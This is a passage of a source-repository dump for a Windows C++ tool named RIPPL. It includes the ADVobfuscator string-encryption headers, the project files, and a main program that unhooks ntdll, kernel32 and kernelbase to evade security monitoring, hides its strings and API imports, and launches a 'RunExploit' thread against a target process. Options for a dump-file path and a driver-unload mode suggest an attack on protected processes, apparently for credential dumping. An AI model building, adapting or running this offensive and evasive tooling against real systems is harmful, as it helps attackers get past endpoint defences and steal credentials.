DigitToInt(time[1]) * 3600 +\n                     DigitToInt(time[0]) * 36000;\n}\n\n// 1988, Stephen Park and Keith Miller\n// \"Random Number Generators: Good Ones Are Hard To Find\", considered as \"minimal standard\"\n// Park-Miller 31 bit pseudo-random number generator, implemented with G. Carta's optimisation:\n// with 32-bit math and without division\n\ntemplate<int N>\nstruct MetaRandomGenerator\n{\nprivate:\n    static constexpr unsigned a = 16807;        // 7^5\n    static constexpr unsigned m = 2147483647;   // 2^31 - 1\n\n    static constexpr unsigned s = MetaRandomGenerator<N - 1>::value;\n    static constexpr unsigned lo = a * (s & 0xFFFF);                // Multiply lower 16 bits by 16807\n    static constexpr unsigned hi = a * (s >> 16);                   // Multiply higher 16 bits by 16807\n    static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16);     // Combine lower 15 bits of hi with lo's upper bits\n    static constexpr unsigned hi2 = hi >> 15;                       // Discard lower 15 bits of hi\n    static constexpr unsigned lo3 = lo2 + hi;\n\npublic:\n    static constexpr unsigned max = m;\n    static constexpr unsigned value = lo3 > m ? lo3 - m : lo3;\n};\n\ntemplate<>\nstruct MetaRandomGenerator<0>\n{\n    static constexpr unsigned value = seed;\n};\n\n// Note: A bias is introduced by the modulo operation.\n// However, I do belive it is neglictable in this case (M is far lower than 2^31 - 1)\n\ntemplate<int N, int M>\nstruct MetaRandom\n{\n    static const int value = MetaRandomGenerator<N + 1>::value % M;\n};\n\n}}\n\n#endif\n"
  },
  {
    "path": "RIPPL/MetaString.h",
    "content": "//\n//  MetaString.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef MetaString_h\n#define MetaString_h\n\n#include \"Inline.h\"\n#include \"Indexes.h\"\n#include \"MetaRandom.h\"\n#include \"Log.h\"\n\nnamespace andrivet { namespace ADVobfuscator {\n\n  // Represents an obfuscated string, parametrized with an alrorithm number N, a list of indexes Indexes and a key Key\n\n  template<int N, char Key, typename Indexes>\n  struct MetaString;\n\n  template<int N, char Key, typename Indexes>\n  struct MetaWString;\n\n  // Partial specialization with a list of indexes I, a key K and algorithm N = 0\n  // Each character is encrypted (OBFUSCATED) with the same key\n\n  template<char K, int... I>\n  struct MetaString<0, K, Indexes<I...>>\n  {\n    // Constructor. Evaluated at compile time.\n    constexpr ALWAYS_INLINE MetaString(const char* str)\n    : key_{K}, buffer_ {encrypt(str[I], K)...} { }\n\n    // Runtime decryption. Most of the time, inlined\n    inline const char* decrypt()\n    {\n      for(size_t i = 0; i < sizeof...(I); ++i)\n        buffer_[i] = decrypt(buffer_[i]);\n      buffer_[sizeof...(I)] = 0;\n      LOG(\"--- Implementation #\" << 0 << \" with key 0x\" << hex(key_));\n      return const_cast<const char*>(buffer_);\n    }\n\n  private:\n    // Encrypt / decrypt a character of the original string with the key\n    constexpr char key() const { return key_; }\n    constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; }\n    constexpr char decrypt(char c) const { return encrypt(c, key()); }\n\n    volatile int key_; // key. \"volatile\" is important to avoid uncontrolled over-optimization by the compiler\n    volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte\n  };\n\n  template<char K, int... I>\n  struct MetaWString<0, K, Indexes<I...>>\n  {\n      // Constructor. Evaluated at compile time.\n      constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)\n          : key_{ K }, buffer_{ encrypt(str[I], K)... } { }\n\n      // Runtime decryption. Most of the time, inlined\n      inline const wchar_t* decrypt()\n      {\n          for (size_t i = 0; i < sizeof...(I); ++i)\n              buffer_[i] = decrypt(buffer_[i]);\n          buffer_[sizeof...(I)] = 0;\n          LOG(\"--- Implementation #\" << 0 << \" with key 0x\" << hex(key_));\n          return const_cast<const wchar_t*>(buffer_);\n      }\n\n  private:\n      // Encrypt / decrypt a character of the original string with the key\n      constexpr wchar_t key() const { return key_; }\n      constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, int k) const { return c ^ k; }\n      constexpr wchar_t decrypt(wchar_t c) const { return encrypt(c, key()); }\n\n      volatile int key_; // key. \"volatile\" is important to avoid uncontrolled over-optimization by the compiler\n      volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte\n  };\n\n  // Partial specialization with a list of indexes I, a key K and algorithm N = 1\n  // Each character is encrypted (OBFUSCATED) with an incremented key.\n\n  template<char K, int... I>\n  struct MetaString<1, K, Indexes<I...>>\n  {\n    // Constructor. Evaluated at compile time.\n    constexpr ALWAYS_INLINE MetaString(const char* str)\n    : key_(K), buffer_ {encrypt(str[I], I)...} { }\n\n    // Runtime decryption. Most of the time, inlined\n    inline const char* decrypt()\n    {\n      for(size_t i = 0; i < sizeof...(I); ++i)\n        buffer_[i] = decrypt(buffer_[i], i);\n      buffer_[sizeof...(I)] = 0;\n      LOG(\"--- Implementation #\" << 1 << \" with key 0x\" << hex(key_));\n      return const_cast<const char*>(buffer_);\n    }\n\n  private:\n    // Encrypt / decrypt a character of the original string with the key\n    constexpr char key(size_t position) const { return static_cast<char>(key_ + position); }\n    constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { return c ^ key(position); }\n    constexpr char decrypt(char c, size_t position) const { return encrypt(c, position); }\n\n    volatile int key_; // key. \"volatile\" is important to avoid uncontrolled over-optimization by the compiler\n    volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte\n  };\n\n  template<char K, int... I>\n  struct MetaWString<1, K, Indexes<I...>>\n  {\n      // Constructor. Evaluated at compile time.\n      constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)\n          : key_(K), buffer_{ encrypt(str[I], I)... } { }\n\n      // Runtime decryption. Most of the time, inlined\n      inline const wchar_t* decrypt()\n      {\n          for (size_t i = 0; i < sizeof...(I); ++i)\n              buffer_[i] = decrypt(buffer_[i], i);\n          buffer_[sizeof...(I)] = 0;\n          LOG(\"--- Implementation #\" << 1 << \" with key 0x\" << hex(key_));\n          return const_cast<const wchar_t*>(buffer_);\n      }\n\n  private:\n      // Encrypt / decrypt a character of the original string with the key\n      constexpr wchar_t key(size_t position) const { return static_cast<wchar_t>(key_ + position); }\n      constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, size_t position) const { return c ^ key(position); }\n      constexpr wchar_t decrypt(wchar_t c, size_t position) const { return encrypt(c, position); }\n\n      volatile int key_; // key. \"volatile\" is important to avoid uncontrolled over-optimization by the compiler\n      volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte\n  };\n\n  // Partial specialization with a list of indexes I, a key K and algorithm N = 2\n  // Shift the value of each character and does not store the key. It is only used at compile-time.\n\n  template<char K, int... I>\n  struct MetaString<2, K, Indexes<I...>>\n  {\n    // Constructor. Evaluated at compile time. Key is *not* stored\n    constexpr ALWAYS_INLINE MetaString(const char* str)\n    : buffer_ {encrypt(str[I])..., 0} { }\n\n    // Runtime decryption. Most of the time, inlined\n    inline const char* decrypt()\n    {\n      for(size_t i = 0; i < sizeof...(I); ++i)\n        buffer_[i] = decrypt(buffer_[i]);\n      LOG(\"--- Implementation #\" << 2 << \" with key 0x\" << hex(K));\n      return const_cast<const char*>(buffer_);\n    }\n\n  private:\n    // Encrypt / decrypt a character of the original string with the key\n    // Be sure that the encryption key is never 0.\n    constexpr char key(char key) const { return 1 + (key % 13); }\n    constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); }\n    constexpr char decrypt(char c) const { return c - key(K); }\n\n    // Buffer to store the encrypted string + terminating null byte. Key is not stored\n    volatile char buffer_[sizeof...(I) + 1];\n  };\n\n  template<char K, int... I>\n  struct MetaWString<2, K, Indexes<I...>>\n  {\n      // Constructor. Evaluated at compile time. Key is *not* stored\n      constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)\n          : buffer_{ encrypt(str[I])..., 0 } { }\n\n      // Runtime decryption. Most of the time, inlined\n      inline const wchar_t* decrypt()\n      {\n          for (size_t i = 0; i < sizeof...(I); ++i)\n              buffer_[i] = decrypt(buffer_[i]);\n          LOG(\"--- Implementation #\" << 2 << \" with key 0x\" << hex(K));\n          return const_cast<const wchar_t*>(buffer_);\n      }\n\n  private:\n      // Encrypt / decrypt a character of the original string with the key\n      // Be sure that the encryption key is never 0.\n      constexpr wchar_t key(wchar_t key) const { return 1 + (key % 13); }\n      constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c) const { return c + key(K); }\n      constexpr wchar_t decrypt(wchar_t c) const { return c - key(K); }\n\n      // Buffer to store the encrypted string + terminating null byte. Key is not stored\n      volatile wchar_t buffer_[sizeof...(I) + 1];\n  };\n\n  // Helper to generate a key\n  template<int N>\n  struct MetaRandomChar\n  {\n    // Use 0x7F as maximum value since most of the time, char is signed (we have however 1 bit less of randomness)\n    static const char value = static_cast<char>(1 + MetaRandom<N, 0x7F - 1>::value);\n  };\n\n\n}}\n\n// Prefix notation\n#define DEF_OBFUSCATED(str) andrivet::ADVobfuscator::MetaString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str) - 1>::type>(str)\n#define DEF_OBFUSCATEDW(str) andrivet::ADVobfuscator::MetaWString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str) - 1>::type>(str)\n\n\n#define OBFUSCATED(str) (DEF_OBFUSCATED(str).decrypt())\n#define OBFUSCATEDW(str) (DEF_OBFUSCATEDW(str).decrypt())\n\n\n#endif\n"
  },
  {
    "path": "RIPPL/RIPPL.cpp",
    "content": "#include \"exploit.h\"\n\nBOOL g_bDebug = false;\nBOOL g_bForce = false;\nDWORD g_dwProcessId = 0;\nLPWSTR g_pwszExecutionMode = nullptr;\nLPWSTR g_pwszDumpFilePath = nullptr;\nLPWSTR g_pwszProcessName = nullptr;\nint g_intExecutionMode = -1;\n\nint wmain(int argc, wchar_t* argv[])\n{\n\n    wil::unique_handle permaThread;\n\n    if (!ParseArguments(argc, argv))\n        return 1;\n\n    std::vector<const wchar_t*> dllsToUnhook\n    { \n        skCrypt(L\"ntdll.dll\"), \n        skCrypt(L\"kernel32.dll\"),\n        skCrypt(L\"kernelbase.dll\") \n    };\n\n    for (auto dll : dllsToUnhook)\n    {\n        if (!UnhookDll(dll)) return -1;\n    }\n\n    PRINTARGUMENTS();\n\n    if (g_pwszProcessName != NULL && g_intExecutionMode != DRIVER_UNLOAD_MODE)\n    {\n        DWORD dwProcessId = 0;\n\n        if (ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))\n        {\n            PRINTDEBUG(L\"[*] Found a process with name '%ws' and PID %d\\n\", g_pwszProcessName, dwProcessId);\n            DWORD tid = 0;\n            auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),\n                &RunExploit, (LPVOID)dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,\n                0, 0, 0, nullptr);\n            if(status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);\n        }\n    }\n    else if (g_dwProcessId != 0 && g_intExecutionMode != DRIVER_UNLOAD_MODE)\n    {\n        auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),\n            &RunExploit, (LPVOID)g_dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,\n            0, 0, 0, nullptr);\n        if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);\n    }\n    else\n    {\n        auto runZero = 0;\n        auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),\n            &RunExploit, (LPVOID)runZero, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,\n            0, 0, 0, nullptr);\n        if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "RIPPL/RIPPL.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{fce81bda-acac-4892-969e-0414e765593b}</ProjectGuid>\n    <RootNamespace>RIPPL</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>RIPPL</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <TargetName>$(ProjectName)_unsigned</TargetName>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>\n      </AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>\n      </AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>\n      </AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n    <PostBuildEvent>\n      <Command>python3.exe $(SolutionDir)postbuild_RIPPL.py</Command>\n    </PostBuildEvent>\n    <PreBuildEvent>\n      <Command>python3.exe $(SolutionDir)DLL_encrypt.py</Command>\n    </PreBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>\n      </AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n      <InlineFunctionExpansion>Default</InlineFunctionExpansion>\n      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n      <Optimization>MinSpace</Optimization>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n    <PostBuildEvent>\n      <Command>call $(SolutionDir)postbuild.bat</Command>\n    </PostBuildEvent>\n    <PreBuildEvent>\n      <Command>python3.exe $(SolutionDir)DLL_encrypt.py</Command>\n    </PreBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"exploit.cpp\" />\n    <ClCompile Include=\"RIPPL.cpp\" />\n    <ClCompile Include=\"utils.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"common.hpp\" />\n    <ClInclude Include=\"exploit.h\" />\n    <ClInclude Include=\"lazy_importer.hpp\" />\n    <ClInclude Include=\"ntdll.h\" />\n    <ClInclude Include=\"resource.h\" />\n    <ClInclude Include=\"skCrypter.hpp\" />\n    <ClInclude Include=\"utils.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"RIPPL.rc\">\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">WIN32;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">WIN32;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\Release\\RIPPLDLL.dll\" />\n    <None Include=\"..\\x64\\Release\\RIPPLDLL.dll\" />\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets\" Condition=\"Exists('..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RIPPL/RIPPL.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"exploit.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"utils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"RIPPL.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"exploit.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ntdll.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"resource.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"lazy_importer.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"common.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"skCrypter.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\x64\\Release\\RIPPLDLL.dll\" />\n    <None Include=\"..\\Release\\RIPPLDLL.dll\" />\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"RIPPL.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RIPPL/Unroller.h",
    "content": "//\n//  Unroller.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 